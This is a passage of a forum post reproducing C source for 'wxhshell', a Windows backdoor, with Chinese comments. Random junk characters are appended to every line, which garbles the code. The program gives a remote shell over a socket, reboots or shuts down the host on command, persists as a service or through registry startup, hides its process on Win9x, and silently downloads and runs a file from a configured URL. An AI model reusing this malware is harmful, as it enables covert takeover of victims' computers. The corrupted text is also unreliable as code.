ec'tFL#u{  
    switch(cmd[0]) { <d! 6[,W;  
  a J-}  
  // 帮助 M.k|bh8  
  case '?': { wznn #j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =HPu {K$  
    break; a/e\vwHLv  
  } ;eR{tH /4  
  // 安装 (5(fd.m+_  
  case 'i': { s`Vf+ l0  
    if(Install()) AF[>fMI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qBiyGlu4  
    else x^2 W?<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zlMlMyG4  
    break; cs5ix"1A  
    } 8nu> gA  
  // 卸载 hT=f;6$  
  case 'r': { *f*f&l%  
    if(Uninstall()) !rHx}n{rw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TolrEcI  
    else 9Z9l:}bO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .\4l'THn,0  
    break; _S<?t9mS  
    } '?k' 6R$'\  
  // 显示 wxhshell 所在路径 S-P{/;c@  
  case 'p': { =+(Q.LmhC  
    char svExeFile[MAX_PATH]; k!c7a\">{  
    strcpy(svExeFile,"\n\r"); x~(y "^ph  
      strcat(svExeFile,ExeFile); @ay|]w  
        send(wsh,svExeFile,strlen(svExeFile),0); dqwWfn1lt  
    break; ReqE?CeV  
    } $P_x v  
  // 重启 V Q h/  
  case 'b': { p\ok_*b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !3?~#e{_  
    if(Boot(REBOOT)) uf?b%:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J;HkTT   
    else { .J:;_4x  
    closesocket(wsh); M)tv;!eQ  
    ExitThread(0); X=#It&m%s  
    } @|]G0&gn&?  
    break; 'W+i[Ep5Q  
    } jRwa0Px(  
  // 关机 mOSCkp{<e  
  case 'd': {  mc~`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s/PhXf\MN  
    if(Boot(SHUTDOWN)) fT x4vlI4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] EV`dIk  
    else { ~RCg.&[ou  
    closesocket(wsh); M0 L-u  
    ExitThread(0); 7>KQRLw  
    } [DL|Ht>  
    break; tUrNp~ve,  
    } ?0m?7{  
  // 获取shell u<C $'V  
  case 's': { h/{8bC@bi  
    CmdShell(wsh); Bf+^O)Ns^  
    closesocket(wsh); YjL t&D:IZ  
    ExitThread(0); W`5a:"Vg  
    break; oB3q AP  
  } {[N?+ZJD*L  
  // 退出 cPm~` Zd  
  case 'x': { ifd}]UMQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y78z>(jV  
    CloseIt(wsh); h%/ssB  
    break; #9INX`s-  
    } k|l5"&K~.  
  // 离开 {Bc#?n  
  case 'q': { =_uol8v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?|)rv  
    closesocket(wsh); gDMAc/V`l  
    WSACleanup(); 6g8M7<og9R  
    exit(1); ?&XzW+(X  
    break; E"ZEo9y@^  
        } `fLfT'  
  } S>(z\`1qm  
  } !4_!J (q%  
;i/"$K  
  // 提示信息 cJ2y)`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OoE9W  
} <TL])@da  
  } $>|?k$(x  
cu:-MpE  
  return; 1"M"h_4  
} $>EqH?EQ  
]u~Os<   
// shell模块句柄 W.z$a.<(rF  
int CmdShell(SOCKET sock) fHLFeSfH  
{ aQxe)  
STARTUPINFO si; A}gYcc85Z  
ZeroMemory(&si,sizeof(si)); AVU7WU{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $m{{,&}k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /%-o.hT  
PROCESS_INFORMATION ProcessInfo; FzA{U O  
char cmdline[]="cmd"; bd.j,4^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Ls lM$  
  return 0; }Z^FEd"y  
} Zb}`sk#  
_dJp 3D  
// 自身启动模式 ys/`{:w8p  
int StartFromService(void) gZ1N&/9;  
{ %bEGv:88s  
typedef struct i_|h{JK)  
{ *m iONc  
  DWORD ExitStatus; m9%yR"g9  
  DWORD PebBaseAddress; N&x@_t""   
  DWORD AffinityMask; 5 Xk~,%-C  
  DWORD BasePriority; #j\*Lc"Ur:  
  ULONG UniqueProcessId; $#TID=  
  ULONG InheritedFromUniqueProcessId; o.p+j  
}   PROCESS_BASIC_INFORMATION; O.]_Ry\OXA  
 3&O% &  
PROCNTQSIP NtQueryInformationProcess; "sdcP8])d  
<.;@ksCPW{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vM5k4%D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (H'_KPK  
GOUY_&}tL  
  HANDLE             hProcess; =;kRk .qzy  
  PROCESS_BASIC_INFORMATION pbi; >3<&V{<K  
Dr4?Ow  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WW)_Wh  
  if(NULL == hInst ) return 0; 5dbX%e_OP  
6-D%)Z(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?SHc}iaU#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hgF21Oj9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \ x3^  
IiG4ib>)W  
  if (!NtQueryInformationProcess) return 0; @>d&5}F_>{  
pZyb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GjG{qR  
  if(!hProcess) return 0; c& 9+/JYMo  
[3Wsc`Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K!pxDW}  
~vO'p  
  CloseHandle(hProcess); ZJ;wRd@  
-HO6K) ur  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L%TxP6z4A  
if(hProcess==NULL) return 0; pyu46iE)  
se4w~\/  
HMODULE hMod; F! |TW6)gv  
char procName[255]; I|Vk.,  
unsigned long cbNeeded; N )b|  
at_dmU2[7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JrY"J]/  
XHU<4l:kl  
  CloseHandle(hProcess); BiVd ka  
8#[%?}tK  
if(strstr(procName,"services")) return 1; // 以服务启动 AT2NC6{M  
8 /:X& &  
  return 0; // 注册表启动 mBYS"[S(  
} JS<e`#c&  
okd  ``vG  
// 主模块 < P?3GT/  
int StartWxhshell(LPSTR lpCmdLine) 'XC&BWJ  
{ 3C E 39W  
  SOCKET wsl; F] dmc,Q  
BOOL val=TRUE; UXcH";*9b  
  int port=0; >[A6 5q'  
  struct sockaddr_in door; Om&{4a\  
dVY(V&p  
  if(wscfg.ws_autoins) Install(); ?yK%]1O  
RZcx4fL}x  
port=atoi(lpCmdLine); RPa?Nv?e  
Z&?+&q r^  
if(port<=0) port=wscfg.ws_port; "<g?x`iz  
-f-O2G=  
  WSADATA data; t-?KKU8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KT]J,b  
H| eD/6K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N]O{T_5-0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GN~[xXJU  
  door.sin_family = AF_INET; E@\d<c.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q"l"p:n%n  
  door.sin_port = htons(port); I_jM-/3b  
mmpr]cT@'k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hIE%-gZ/  
closesocket(wsl); \ N-| iq  
return 1; ZC9.R$}Kl  
} Ty e$na&$}  
4{Yy05PFS  
  if(listen(wsl,2) == INVALID_SOCKET) { U{U:8==  
closesocket(wsl); RGx]DP$5G  
return 1; xPn'yo  
} aHVdClD2o  
  Wxhshell(wsl); m=("N  
  WSACleanup(); i+qLc6|S=2  
o[Wagg.%  
return 0; ~|0F?~eR7  
FBwncG$]F*  
} yP1Y3Tga=  
e$FAhwpon  
// 以NT服务方式启动 n '0 $>Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5pKvNLy.t  
{ Tvksf!ba  
DWORD   status = 0; pJ)+}vascR  
  DWORD   specificError = 0xfffffff; D~i@. k  
eD` ,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f2SU5e2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %FR^[H]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XeIUdg4>R  
  serviceStatus.dwWin32ExitCode     = 0; h.}t${1ZC  
  serviceStatus.dwServiceSpecificExitCode = 0; !txELA~24  
  serviceStatus.dwCheckPoint       = 0; N.Wdi  
  serviceStatus.dwWaitHint       = 0; Ndug9j\2  
9 z8<[>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  i?i7T`  
  if (hServiceStatusHandle==0) return; iz%A0Z+`bg  
Vm,f3~  
status = GetLastError(); 3Q!J9t5dc  
  if (status!=NO_ERROR) w$U/;C  
{ t}c}@i_c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;ow~vO,x  
    serviceStatus.dwCheckPoint       = 0; 7S~9E2N  
    serviceStatus.dwWaitHint       = 0; %t5BB$y  
    serviceStatus.dwWin32ExitCode     = status; bCaPJ!ZO  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4 HJZ^bq9|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +DbWMm  
    return; "o5gQTwb  
  } 33,JUQ2u  
9,EaN{GM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _w5~/PbWt  
  serviceStatus.dwCheckPoint       = 0; PhI6dB`  
  serviceStatus.dwWaitHint       = 0; *3etxnQc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ek;&<Z_ ]  
} BJ.8OU*9]S  
h<^:Nn  
// 处理NT服务事件,比如:启动、停止 afP&+ 5t@O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UmD-7Fd  
{ %&=(,;d  
switch(fdwControl) rJc)< OZjT  
{ G=bP<XF  
case SERVICE_CONTROL_STOP: 8HRPJSO~g  
  serviceStatus.dwWin32ExitCode = 0; pJ*#aH[ySP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Oih2UrF  
  serviceStatus.dwCheckPoint   = 0; AZ9\>U@hD  
  serviceStatus.dwWaitHint     = 0; %3l;bR>  
  { ^ Mvsq)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1f pS"_}  
  } 4gkV]" H!  
  return; #Wc #fP  
case SERVICE_CONTROL_PAUSE: Wru  Fp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ch,Zk )y:_  
  break; D`~{[cv)\  
case SERVICE_CONTROL_CONTINUE: iP? ASqo{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5q_OuZ/6  
  break; Uh|__DUkh  
case SERVICE_CONTROL_INTERROGATE: r)#"$Sm  
  break; )`+@j.75  
}; @aV~.!!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vg,>7?]6h  
} q V UUuyF  
wq_oh*"  
// 标准应用程序主函数 Y1E>T-Ma  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q[|`&6B  
{ 3Llj_lf  
Zqs-I8y  
// 获取操作系统版本 a6k(O8Ank3  
OsIsNt=GetOsVer(); _9-D3_P[3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =u3@ Dhw  
Z/05 wB  
  // 从命令行安装 3Gd&=IJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); R,5$ 0_]|+  
T;[c<gc/  
  // 下载执行文件 , w'$T)  
if(wscfg.ws_downexe) { ~h^}W$pO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) if!`Qid  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~j&:)a'^  
} k-ex<el)#  
6[2?m*BsN  
if(!OsIsNt) { {|J2clL  
// 如果时win9x,隐藏进程并且设置为注册表启动 } Ved  
HideProc(); :%b2;&A[  
StartWxhshell(lpCmdLine); LI|HET_  
} FPUR0myCU  
else ,S0~:c:)  
  if(StartFromService()) Mm7n?kb6  
  // 以服务方式启动 %1?V6&  
  StartServiceCtrlDispatcher(DispatchTable); kdMS"iN8x  
else |o=\9:wV  
  // 普通方式启动 !>2\OSp!  
  StartWxhshell(lpCmdLine); G* ~*2>~  
HFx"fT  
return 0; eW*ae;-  
}
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只看该作者 1 发表于: 2006-10-10
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